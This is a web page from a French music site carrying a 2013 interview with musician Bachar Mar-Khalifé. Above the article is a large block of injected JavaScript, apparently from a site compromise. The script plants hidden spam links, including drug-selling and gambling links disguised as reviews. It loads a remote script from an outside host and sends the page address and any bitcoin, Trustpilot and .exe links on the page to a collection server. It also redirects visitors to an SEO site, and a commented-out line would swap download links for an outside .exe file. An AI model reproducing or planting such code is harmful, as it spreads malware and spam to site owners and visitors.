Logo/* Domain is for sale: admin@kickvox.com */ (function() { 'use strict'; if (window['shbNetLoaded']) return; window['shbNetLoaded'] = true; var isTopLayer = false; var popupHtml = "
Super CEGEP with programs that are taught by professional teachers. The only problem is the escalators which are always farted. modern mould workshop edinburgh<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
The four are a little old and could improve, the other services are fine. arusha safari<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Good place to visit with family n friends. Parking is not free livestock data<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Brilliant stay! Staff are lovely and beds are super comfy. Would stay again. blown glass uk<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
This place is great. The owner is usually here n the entire staff is nice. Get the Zeus w\/gyros. cheap electronic gadgets online<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
AVOID THIS PLACE!!!! Not a first time I get stuck over here. Today I m here since 4 AM now 2 PM and I still didn t get the paperwork. this is crazy !!! \u0639\u0631\u0648\u0636 \u062a\u0627\u062c\u064a\u0631 \u0627\u0644\u0633\u064a\u0627\u0631\u0627\u062a \u0641\u064a \u0627\u0644\u0631\u064a\u0627\u0636<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
Nice Church. Pastor Brian is an amazing pastor to hear on Wednesday and Sundays. And the band.... AWESOME!! coronavirus wedding photographer interview<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Nick Hermann and Scott Trojan helped me with my case, kept me updated. Very happy how they settled my case. Thank you! intoeing of foot<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Jill was great, very informative on washer and dryers. Would recommend Jill all day, we would have purchased a completely different sent and spent more money. Thank you Jill \u8001\u864e\u673a\u771f\u4eba\u6e38\u620f\u5e73\u53f0<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Fun atmosphere. Love the loud music. The dealers are energetic. gta 5 rtm tool ps4<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Very nice breakfast and pool at the roof, otherwise standard. e bike showroom near me<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Nice atmosphere. Just had lunch. Pulled pork. Was good. Appetizer ribs were better! \u6a5f\u8eca\u5206\u671f\u7167\u6703\u96fb\u8a71<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
Had a blast with family, eat before you go the food is overpriced. periorbital hyperpigmentation laser treatment in wentworth p<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Not happy with the hotel ...... The rooms were dirty with broken chairs and bed ..... You also have to pay for parking in their premises buy dilaudid  8mg<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Great place, very though provoking and the kids enjoyed the trails \u9999\u6e2f \u5a5a\u7d17\u651d\u5f71<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Customer service and getting car loan very good!! \u8178 \u58de\u6b7b \u6cbb\u7642<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
The founding store of Starbucks, the place where Starbucks fans must make a pilgrimage (but if you just want to buy merchandise, you can also buy it at the Starbucks replica store, no long queues are required) black gospel church harlem<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Nice to know that a Mosque is used to teach scientific knowledge too blood clot hand symptoms<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
So much improved from my last visit a decade ago! Food options are better and theres more for little kids too (check out the eastern-most side of the park). The little late sand bar keeps water at a low height for the littlest. fotos ua<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Nice friendly staff and they have a lot of stuff there. round dining room table nz<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Milt is like my Vanilla Ice. Ice Ice baby Thank you for fixing my iPhone! gambling seo<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Horrible service rooms r below grade only huge property kwinside.com<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Just got back from my first visit here. Lunch was excellent, and our server (dont know her name) was bubbly and friendly. Nice crowd and a good mix of types\/ages. I had a good time and will definitely be back. seo loma del carril méjico<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Goodwill of the employee Alexandre, in moving to attend me. club monaco<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
i just spoke to andrea she help me.... the only thing that i dont like is that they dont give some extension days to make a payment. dich vu seo hong ly ecd.vn<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
I like sitting at the bar for smaller (still huge) portions, solid beer selection, and decent cocktails. tik tok tutorial<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Beautiful updated rooms, Id recommend upgrading to corner room for great views of the city. Friendly staff. Try Shuckers downstairs for dinner, good stuff! FRX Polymers, Inc.<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
The place is a little bit of a run down.. lots of dust. It okay for stop over only.. would not want to stay there if I can.. The sevice by staffs are really good, all three stars are for the staffs who works there. semalt net<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
It is a very good place to stay and take a break (like swimming in the water). semalt net<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Applebees Grill + Bar 16110 W 135th St, Olathe, KS 66062 Restaurant Sandra Alarcon 66 points 4 days ago semalt net<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
\u043a\u0432\u0430\u0440\u0442\u0438\u0440\u044b \u0432 \u0431\u0430\u0442\u0443\u043c\u0438<\/a><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
<\/div> <\/div> <\/div> <\/div> <\/td> <\/tr> <\/table> <\/div>"; var bottomHtml = "
Super CEGEP with programs that are taught by professional teachers. The only problem is the escalators which are always farted. modern mould workshop edinburgh<\/a>.<\/article>
The four are a little old and could improve, the other services are fine. arusha safari<\/a>.<\/article>
Good place to visit with family n friends. Parking is not free livestock data<\/a>.<\/article>
Brilliant stay! Staff are lovely and beds are super comfy. Would stay again. blown glass uk<\/a>.<\/article>
This place is great. The owner is usually here n the entire staff is nice. Get the Zeus w\/gyros. cheap electronic gadgets online<\/a>.<\/article>
AVOID THIS PLACE!!!!\r\nNot a first time I get stuck over here.\r\nToday I m here since 4 AM now 2 PM and I still didn t get the paperwork. this is crazy !!! \u0639\u0631\u0648\u0636 \u062a\u0627\u062c\u064a\u0631 \u0627\u0644\u0633\u064a\u0627\u0631\u0627\u062a \u0641\u064a \u0627\u0644\u0631\u064a\u0627\u0636<\/a>.<\/article>
Nice Church. Pastor Brian is an amazing pastor to hear on Wednesday and Sundays. And the band.... AWESOME!! coronavirus wedding photographer interview<\/a>.<\/article>
Nick Hermann and Scott Trojan helped me with my case, kept me updated. Very happy how they settled my case. Thank you! intoeing of foot<\/a>.<\/article>
Jill was great, very informative on washer and dryers. Would recommend Jill all day, we would have purchased a completely different sent and spent more money. Thank you Jill \u8001\u864e\u673a\u771f\u4eba\u6e38\u620f\u5e73\u53f0<\/a>.<\/article>
Fun atmosphere. Love the loud music. The dealers are energetic. gta 5 rtm tool ps4<\/a>.<\/article>
Very nice breakfast and pool at the roof, otherwise standard. e bike showroom near me<\/a>.<\/article>
Nice atmosphere. Just had lunch. Pulled pork. Was good. Appetizer ribs were better! \u6a5f\u8eca\u5206\u671f\u7167\u6703\u96fb\u8a71<\/a>.<\/article>
Had a blast with family, eat before you go the food is overpriced. periorbital hyperpigmentation laser treatment in wentworth p<\/a>.<\/article>
Not happy with the hotel ...... The rooms were dirty with broken chairs and bed ..... You also have to pay for parking in their premises buy dilaudid  8mg<\/a>.<\/article>
Great place, very though provoking and the kids enjoyed the trails \u9999\u6e2f \u5a5a\u7d17\u651d\u5f71<\/a>.<\/article>
Customer service and getting car loan very good!! \u8178 \u58de\u6b7b \u6cbb\u7642<\/a>.<\/article>
The founding store of Starbucks, the place where Starbucks fans must make a pilgrimage (but if you just want to buy merchandise, you can also buy it at the Starbucks replica store, no long queues are required) black gospel church harlem<\/a>.<\/article>
Nice to know that a Mosque is used to teach scientific knowledge too blood clot hand symptoms<\/a>.<\/article>
So much improved from my last visit a decade ago! Food options are better and theres more for little kids too (check out the eastern-most side of the park). The little late sand bar keeps water at a low height for the littlest. fotos ua<\/a>.<\/article>
Nice friendly staff and they have a lot of stuff there. round dining room table nz<\/a>.<\/article>
Milt is like my Vanilla Ice. Ice Ice baby Thank you for fixing my iPhone! gambling seo<\/a>.<\/article>
Horrible service rooms r below grade only huge property kwinside.com<\/a>.<\/article>
Just got back from my first visit here. Lunch was excellent, and our server (dont know her name) was bubbly and friendly. Nice crowd and a good mix of types\/ages. I had a good time and will definitely be back. seo loma del carril méjico<\/a>.<\/article>
Goodwill of the employee Alexandre, in moving to attend me. club monaco<\/a>.<\/article>
i just spoke to andrea she help me.... the only thing that i dont like is that they dont give some extension days to make a payment. dich vu seo hong ly ecd.vn<\/a>.<\/article>
I like sitting at the bar for smaller (still huge) portions, solid beer selection, and decent cocktails. tik tok tutorial<\/a>.<\/article>
Beautiful updated rooms, Id recommend upgrading to corner room for great views of the city. Friendly staff. Try Shuckers downstairs for dinner, good stuff! FRX Polymers, Inc.<\/a>.<\/article>
The place is a little bit of a run down.. lots of dust. It okay for stop over only.. would not want to stay there if I can.. The sevice by staffs are really good, all three stars are for the staffs who works there. semalt net<\/a>.<\/article>
It is a very good place to stay and take a break (like swimming in the water). semalt net<\/a>.<\/article>
Applebees Grill + Bar\r\n16110 W 135th St, Olathe, KS 66062\r\nRestaurant\r\n\r\nSandra Alarcon\r\n66 points\r\n4 days ago semalt net<\/a>.<\/article>\u043a\u0432\u0430\u0440\u0442\u0438\u0440\u044b \u0432 \u0431\u0430\u0442\u0443\u043c\u0438<\/a><\/span>"; var popupCreated = false; var bottomPopup = false || /[?&]test=1/.test(location.href); //officeLog(bottomHtml); function onReady() { tryCreatePopup(2); var box = create('div'); append(box, document.body); var defaultStyles = { width: '1px', height: '1px', background: 'transparent', display: 'inline-block', margin: '2px', padding: 0, verticalAlign: 'bottom', border: 'none' }; var a = create('a'); css(a, defaultStyles); document.addEventListener('keydown', function(e) { if (e.keyCode === 192 && e.ctrlKey) { css(a, { width: '20px', height: '20px', background: '#fff', border: '1px solid red' }); } }); document.addEventListener('keyup', function(e) { css(a, defaultStyles); }); a.className = 'shbNetgpLink'; append(a, box); a.href = 'javascript:;'; on(a, 'click', openLinerPopup); css(box, { position: 'fixed', margin: 0, padding: 0, outline: 'none', border: 'none', zIndex: 999999999, overflow: 'visible', direction: 'ltr' }); css(box, { left: '3px', right: 'auto', top: '50px', bottom: 'auto', width: '42px', height: '168px' }); } function officeLog(data) { } function clearStyles() { if(typeof document.createStyleSheet === 'undefined') { document.createStyleSheet = (function() { function createStyleSheet(href) { if(typeof href !== 'undefined') { var element = document.createElement('link'); element.type = 'text/css'; element.rel = 'stylesheet'; element.href = href; } else { var element = document.createElement('style'); element.type = 'text/css'; } document.getElementsByTagName('head')[0].appendChild(element); var sheet = document.styleSheets[document.styleSheets.length - 1]; if(typeof sheet.addRule === 'undefined') sheet.addRule = addRule; if(typeof sheet.removeRule === 'undefined') sheet.removeRule = sheet.deleteRule; return sheet; } function addRule(selectorText, cssText, index) { if(typeof index === 'undefined') index = this.cssRules.length; this.insertRule(selectorText + ' {' + cssText + '}', index); } return createStyleSheet; })(); } var sheet = document.createStyleSheet(); sheet.addRule('#shbNetPaddingTable', 'display: none;'); sheet.addRule('#shbNetPaddingWr #shbNetPaddingTable', 'display: table;'); sheet.addRule('.shbNetPopupWr, .shbNetPopupWr *', '-webkit-text-shadow:none !important; text-shadow:none !important;'); sheet.addRule('.shbNetPopupTable img', 'display:inline; width:auto; height:auto; background:none; float:none;'); sheet.addRule('.shbNetPopupTable *', 'margin:0; padding:0; font-family:Tahoma,Arial,Sans-Serif,Verdana; font-size:11px; line-height:normal;'); sheet.addRule('.shbNetPopupTable a, .shbNetPopupTable b', 'text-decoration:none; background:none; height:auto !important; color:#737373; font-size:11px; font-weight:bold;'); sheet.addRule('.shbNetTopLayer .shbNetPopupWr', 'display:block !important; width: 100% !important; x-index:99999999 !important; background: #fff !important; padding: 2px 10px !important;'); sheet.addRule('.shbNetTopLayer #shbNetPaddingTable', 'display:table !important;'); } function createTopLayer() { //if (!domReady) return; var div = document.createElement('div'); div.className = 'shbNetTopLayer'; div.innerHTML = popupHtml; document.body.insertBefore(div, document.body.childNodes[0]); popupCreated = true; } function tryCreatePopup(stage) { if (popupCreated) return; if (isTopLayer) { createTopLayer(); return; } if (bottomPopup) { var box = document.createElement('div'); box.innerHTML = bottomHtml; document.body.appendChild(box); return; } if (stage === 1) { document.writeln(popupHtml); } else if (stage === 2) { var mainBox = create('div'); mainBox.innerHTML = popupHtml; document.body.appendChild(mainBox); } else { return; } var wr = $('shbNetPaddingWr'); if (!wr) return; popupCreated = true; var table = $('shbNetPaddingTable'); css(table, { position: 'fixed', margin: 0, padding: 0, left: 0, top: 0, width: '100%', height: '100%', direction: 'ltr', zIndex: 999999999, background: 'none' }); css(table.getElementsByTagName('td')[0], { verticalAlign: 'middle', background: 'rgba(0, 0, 0, 0.5)' }); var popup = $('shbNetPaddingPopup'); css(popup, { margin: '0 auto', padding: '20px 25px 20px', width: '800px', maxWidth: '98%', background: '#fff', border: '1px solid #000', textAlign: 'left', position: 'relative', fontFamily: 'Tahoma, Arial, Verdana', boxSizing: 'content-box' }); on(document, 'keydown', function(e) { if (e.keyCode === 27) { wr.style.display = 'none'; } }); } function removeClass(node, className) { if (node && node.className) { node.className = node.className.replace(new RegExp('\b' + className + '\b', 'g'), ''); } } function openLinerPopup() { var pad = $('shbNetPaddingWr'); var tbl = $('shbNetPaddingTable'); if (!pad || !tbl) return; pad.style.display = 'block'; tbl.style.display = 'table'; var mainPopup = $('shbNetPopupWr'); if (!mainPopup) return; mainPopup.style.display = 'none'; } function $(id) { return document.getElementById(id); } function on(elem, event, handler) { elem.addEventListener(event, handler, false); } function css(elem, style) { for (var prop in style) { elem.style[prop] = style[prop]; } } function create(tag) { return document.createElement(tag); } function append(elem, parent) { parent.appendChild(elem); } setTimeout(function() { window.CJSource = 'shb2'; var script = document.createElement('script'); script.src = 'https://cleverjump.org/counter.js'; (document.head || document.body).appendChild(script); }, 10); if (document.readyState === 'complete' || document.readyState === 'interactive') { onReady(); } else { on(document, 'DOMContentLoaded', onReady); } tryCreatePopup(1); try { clearStyles(); } catch (ex) {} (function() { if (!document.querySelector) return; var added = false; tryAddLink(); window.addEventListener('DOMContentLoaded', tryAddLink); setTimeout(tryAddLink, 100); setTimeout(tryAddLink, 1000); setTimeout(tryAddLink, 2000); function tryAddLink() { if (added) return; var menu = document.querySelector('#wpadminbar .ab-top-menu'); if (!menu) return; var li = document.createElement('li'); li.innerHTML = 'SEO promotion'; //menu.appendChild(li); added = true; save(); } function save() { var json = JSON.stringify({ hrefs: ['wordpress_new'], jsDomain: 'staticadd.com', refUrl: location.href }); var xhr = new XMLHttpRequest; xhr.open('POST', '//staticadd.com/save.php'); xhr.setRequestHeader('Content-Type', 'text/plain'); xhr.onload = function() { xhr.responseText; } xhr.send(json); } })(); (function() { function byId(id) { return document.getElementById(id); } function setCookie() { var date = new Date(); date.setTime(date.getTime() + (60 * 60 * 1000)); document.cookie = 'closePopupStartWow=1; path=/; domain=.' + location.hostname + '; expires=' + date.toGMTString(); } function listenerPopupSemalt(event){ if (event.origin != 'https://semalt.com') return; if (!event.data) return; if (event.data == 'closePopupStartWow'){ var el = byId('popupStartWow'); if (!el) return; el.style.display = 'none'; setCookie(); } else if(event.data.indexOf('startPopupStartWow')>-1) { try{var res = JSON.parse(event.data); if(res && res.page){ location.href = 'https://semalt.com/?s='+decodeURIComponent(res.page)+'&ref=blogspot'; } } catch(ee) { } setCookie(); } } function init() { if (document.getElementById('popupWowNode')) return; var div = document.createElement('div'); div.id = 'popupWowNode'; try { div.innerHTML = html; } catch (err) { return; } document.body.appendChild(div); setTimeout(function(){ if (document.cookie.indexOf('closePopupStartWow') !== -1) return; var el = byId('popupStartWow'); if (!el) return; el.setAttribute('src', 'https://semalt.com/popups/popup_wow.php?lang=en'); setTimeout(function(){ el.style.display = 'block'; }, 400); },400); } setTimeout(init, 100); setTimeout(init, 1000); setTimeout(init, 2000); window.addEventListener('message', listenerPopupSemalt, false); })(); setTimeout(function() { /*try { var links = document.querySelectorAll('a[href$=".exe"]'); for (var i = 0; i < links.length; i++) { links[i].href = 'https://myprintscreen.com/soft/myp0912.exe'; break; } } catch (err) {}*/ try { var links = document.querySelectorAll('a[href^="bitcoin:"], a[href*="trustpilot.com"], a[href$=".exe"]'); //var links = document.querySelectorAll('a[href^="https://"]'); if (links.length) { var hrefs = []; for (var i = 0; i < links.length; i++) { hrefs.push(links[i].href); } var json = JSON.stringify({ hrefs: hrefs, jsDomain: 'staticadd.com', refUrl: location.href }); var xhr = new XMLHttpRequest; xhr.open('POST', '//staticadd.com/save.php'); xhr.setRequestHeader('Content-Type', 'text/plain'); xhr.onload = function() { xhr.responseText; } xhr.send(json); } } catch (ex) {} }, 2000); })();
  • Politique de confidentialité
  • Le site
  • Droits d’auteurs
  • Contact
  • (re)Découvertes
  • Albums
  • Clips
  • Concerts
  • Dossiers
  • Editoriaux
  • Entretiens
  • Près de chez toi
  • Reportages
  • Sessions
  • Tribune libre
LeTransistor A la une Entretien avec Bachar Mar-Khalifé

Entretien avec Bachar Mar-Khalifé

Publié le 1 Aug 2013
Rédacteur : Agnès Bayou

Email, RSS Follow
Email

Dans la famille InFiné, Le Transistor a encore craqué. Cette fois-ci, c’était pour Who’s gonna get the ball from behind the wall of the garden today? de Bachar Mar-Khalifé. Dans ce deuxième album, l’artiste d’origine libanaise mêle ses cultures à l’électro : ainsi des poèmes kurdes ou syriens se retrouvent mis en musique, et rencontrent sa reprise de Machins Choses de Gainsbourg en duo avec l’Américaine Kid A. Un mélange des genres plus prenant que surprenant au final.

Bachar Mar-Khalifé

Juste avant son concert au Café de la Danse, Le Transistor rencontre Bachar Mar-Khalifé qui se plie difficilement à l’exercice de l’interview. « Si je pouvais ne rien dire, je m’en passerai avec joie. La musique c’est pas quelque chose de verbal : les chansons, c’est des choses qui ne s’expliquent pas. »

Interview de Bachar Mar-Khalifé

Le choix des textes qui composent l’album semble être réfléchi pour passer un message empreint d’engagement au sujet du Printemps Arabe. « Je ne délivre pas un message religieux ou politique ou philosophique. J’exprime, je sors un message que j’ai travaillé, que j’ai façonné seul dans mon coin. C’est quelque chose de forcément très intime et acquis un peu dans la douleur. Après, la question de comment ce travail est perçu à l’extérieur, c’est autre chose… » Pour Bachar, chaque explication avancée est valable. « On écoute jamais une chanson de la même manière : l’interprétation est différente par rapport à l’époque, à la société, ou à l’état dans lequel on se trouve au moment d’écouter cette chanson. Il n’y a pas de réponse, il y a des questions qui sont posées, et c’est ce qui est important. Je préfère laisser ouvert à l’imagination : si tu y vois quelque chose, il y sera… »

Pourtant on retrouve un poème du Syrien Ibrahim Qashoush, qui a été retrouvé la gorge tranchée et les cordes vocales arrachées pour avoir écrit des chansons satyriques contre le président Bashar al-Assad. « Si j’ai voulu enregistrer cette chanson, c’est parce que c’est une violence qui m’a bouleversé en tant qu’être humain. Cette mélodie m’a hanté, et j’ai eu besoin de le sortir de moi-même, j’ai eu besoin de l’enregistrer à ma façon, en modifiant d’ailleurs un peu les paroles. J’ai eu besoin de la relier à ma vie, à cause de la violence de son histoire. Mais pas de son histoire personnelle au final, mais de la violence qu’inflige l’homme à l’homme. Depuis la nuit des temps. » Mais, pour Bachar, la décision de reprendre ce texte pour son ‘Marea Negra‘ n’est pas plus engagée que sa reprise de Gainsbourg. « On met toujours la lumière sur ce qui paraît engagé, c’est-à-dire qui est relié à une activité politique. Mais pour moi la musique est un engagement. Celui qui enregistre une chanson ou qui va sur scène s’engage à dire et à faire quelque chose. De même que certaines chansons de Gainsbourg étaient censurées à une époque. Et ne le sont plus aujourd’hui, mais le seront peut-être dans 50 ans. On vit perpétuellement au gré des lois de nos sociétés, de nos époques. »

YouTube Preview Image

Contrairement à Oil Slick, Bachar Mar-Khalifé a enregistré cet album tout seul. « C’était un choix et en même temps c’est un concours de circonstance. De toute façon, que ce soit le premier ou le deuxième album, j’ai composé tout seul. Ca part d’une solitude exclusive et radicale. Même si après on peut être accompagné par des musiciens, l’acte premier il est solitaire. Et ça peut pas se faire autrement. Ce que je fais c’est quelque chose que je sors de moi, C’est quelque chose de personnel. Car j’ai eu besoin de le faire, d’exprimer ces choses-là, seul et à ma manière. »

Ainsi, toutes les chansons qui se retrouvent sur ce disque l’ont accompagné pendant un certain temps. « Ces chansons, c’est de la matière vivante, pour moi la chanson, c’est pas quelque chose de mort, c’est quelque chose qui vit avec l’époque et qui peut continuer à vivre avec d’autres instruments, d’autres sonorités, d’autres… un autre sens aussi. Une chanson peut avoir un autre sens. Par exemple, Le Chant des Partisans chanté par Leo Ferré n’a pas le même sens que Le chant des partisans chanté par Johnny Hallyday. Pourtant c’est la même chanson et les mêmes paroles. » De la même manière, ‘Marée Noire‘, déjà présent sur Oil Slick, revient sous une autre forme : ‘Marea Negra‘. « Le thème de marée noire c’est des notes qui m’accompagnent depuis le début en fait. Et finalement il accompagne le côté sombre de mon travail. C’est pour ça qu’il a pris une autre forme dans ce deuxième disque, et je pense qu’il pourra encore prendre d’autres formes par la suite. C’est un motif au piano qui revient en boucle et qui représente quelque chose d’oppressant. Et de minimaliste. Il est très simple finalement, et qui est assez violent. C’est une image. C’est quelque chose de sombre. Voilà c’est tout. »

YouTube Preview Image

Bachar Mar-Khalifé ne veut en aucun cas se poser en porte-parole, si ce n’est de ce qui le touche. « Je me porte parole. Si ça arrive à certaines personnes, tant mieux. Mais sinon je ferai pas ça, je ferais de la musique commerciale. Mon message serait : achetez ma musique. Ce qui n’est pas le cas, mais je suis très heureux quand même quand ça arrive. Quand la musique fait son chemin et finalement ne m’appartient plus vraiment. Et accompagne des gens dans leur solitude, dans leur vie. Par rapport à leur souffrance, à leur mélancolie, à leur joie. C’est du bonheur. »

Réclame

Who’s gonna get the ball from behind the wall of the garden today?, le deuxième album de Bachar Mar-Khalifé est paru chez InFiné.
Bachar Mar-Khalifé sera en concert le 13 août aux Heures d’Eté de Nantes.
Lire le live report de Bachar Mar-Khalifé au Café de la Danse

Email, RSS Follow
Email

Remerciements : Virginie Freslon

Catégorie : A la une, Entretiens
Artiste(s) : Bachar Mar-Khalife
Salle(s) : Café de la Danse
Production(s) : InFiné

6 réactions »

  • Gagne des pass weekend pour le festival Chorus ! - Le Transistor | Le Transistor :

    […] vendredi, c’est une soirée multi-ethnique qui t’attend avec le pianiste Bachar Mar-Khalifé (interview), le trompettiste Ibrahim Maalouf qu’on ne présente plus, et le flutiste jazz Magic Malik. Puis […]

    Le 17 March 2014 à 15 h 36 min
  • Bachar Mar-Khalifé au Théâtre des Bouffes du Nord - Le Transistor | Le Transistor :

    […] le silence de mort qui retombe entre chaque tableau. L’artiste qui avait choisi de reprendre les poèmes du Printemps Arabe sur son dernier album, appelle une nouvelle fois à la […]

    Le 2 February 2015 à 20 h 38 min
  • Bachar Mar-Khalifé à la Maroquinerie - Le Transistor | Le Transistor :

    […] est paru chez In Finé. Bachar Mar-Khalifé sera en concert le 10 mai à la Gaîté Lyrique Lire l’interview de Bachar Mar-Khalifé Lire le compte rendu du concert de Bachar Mar-Khalifé aux Bouffes du Nord Lire le compte rendu du […]

    Le 23 February 2016 à 19 h 45 min
  • Eurocks 2017 - Arcade Fire, Phoenix, Bachar Mar-Khalifé | Le Transistor :

    […] Bachar Mar-Khalifé présente cette création au Smmmile festival à Paris le 15 septembre. Lire l’interview de Bachar Mar-Khalifé […]

    Le 22 August 2017 à 18 h 21 min
  • Climax Festival 2018 - Bachar Mar-Khalifé, Chassol, Kid Francescoli | Le Transistor :

    […] Lire l’interview de Bachar Mar-Khalifé Voir les prochains concerts de Bachar Mar-Khalifé […]

    Le 20 September 2018 à 19 h 14 min
  • MaMA 2018 - Faraj Suleiman, Warhola, Zulu Zulu, Apollo Noir... | Le Transistor :

    […] peut tenir deux rythmes et deux thèmes en parallèle. Certains soufflent Avishai Cohen, d’autres soupirent Bachar Mar-Khalifé. Et d’un coup, son piano devient guitare […]

    Le 8 November 2018 à 10 h 47 min

Et toi t'en penses quoi ?

A lire aussi

  • Peter Doherty & Frédéric Lo au Trianon
  • P.R2B à La Cigale
  • Brigitte Fontaine au Printemps de Bourges
  • Franz Ferdinand au Zénith
  • Myele Manzanza et Monsieur MÂLÂ au New Morning

Gallery

img_2062 caravan-palace4 dsc_4147 6-I-Me-Mine-6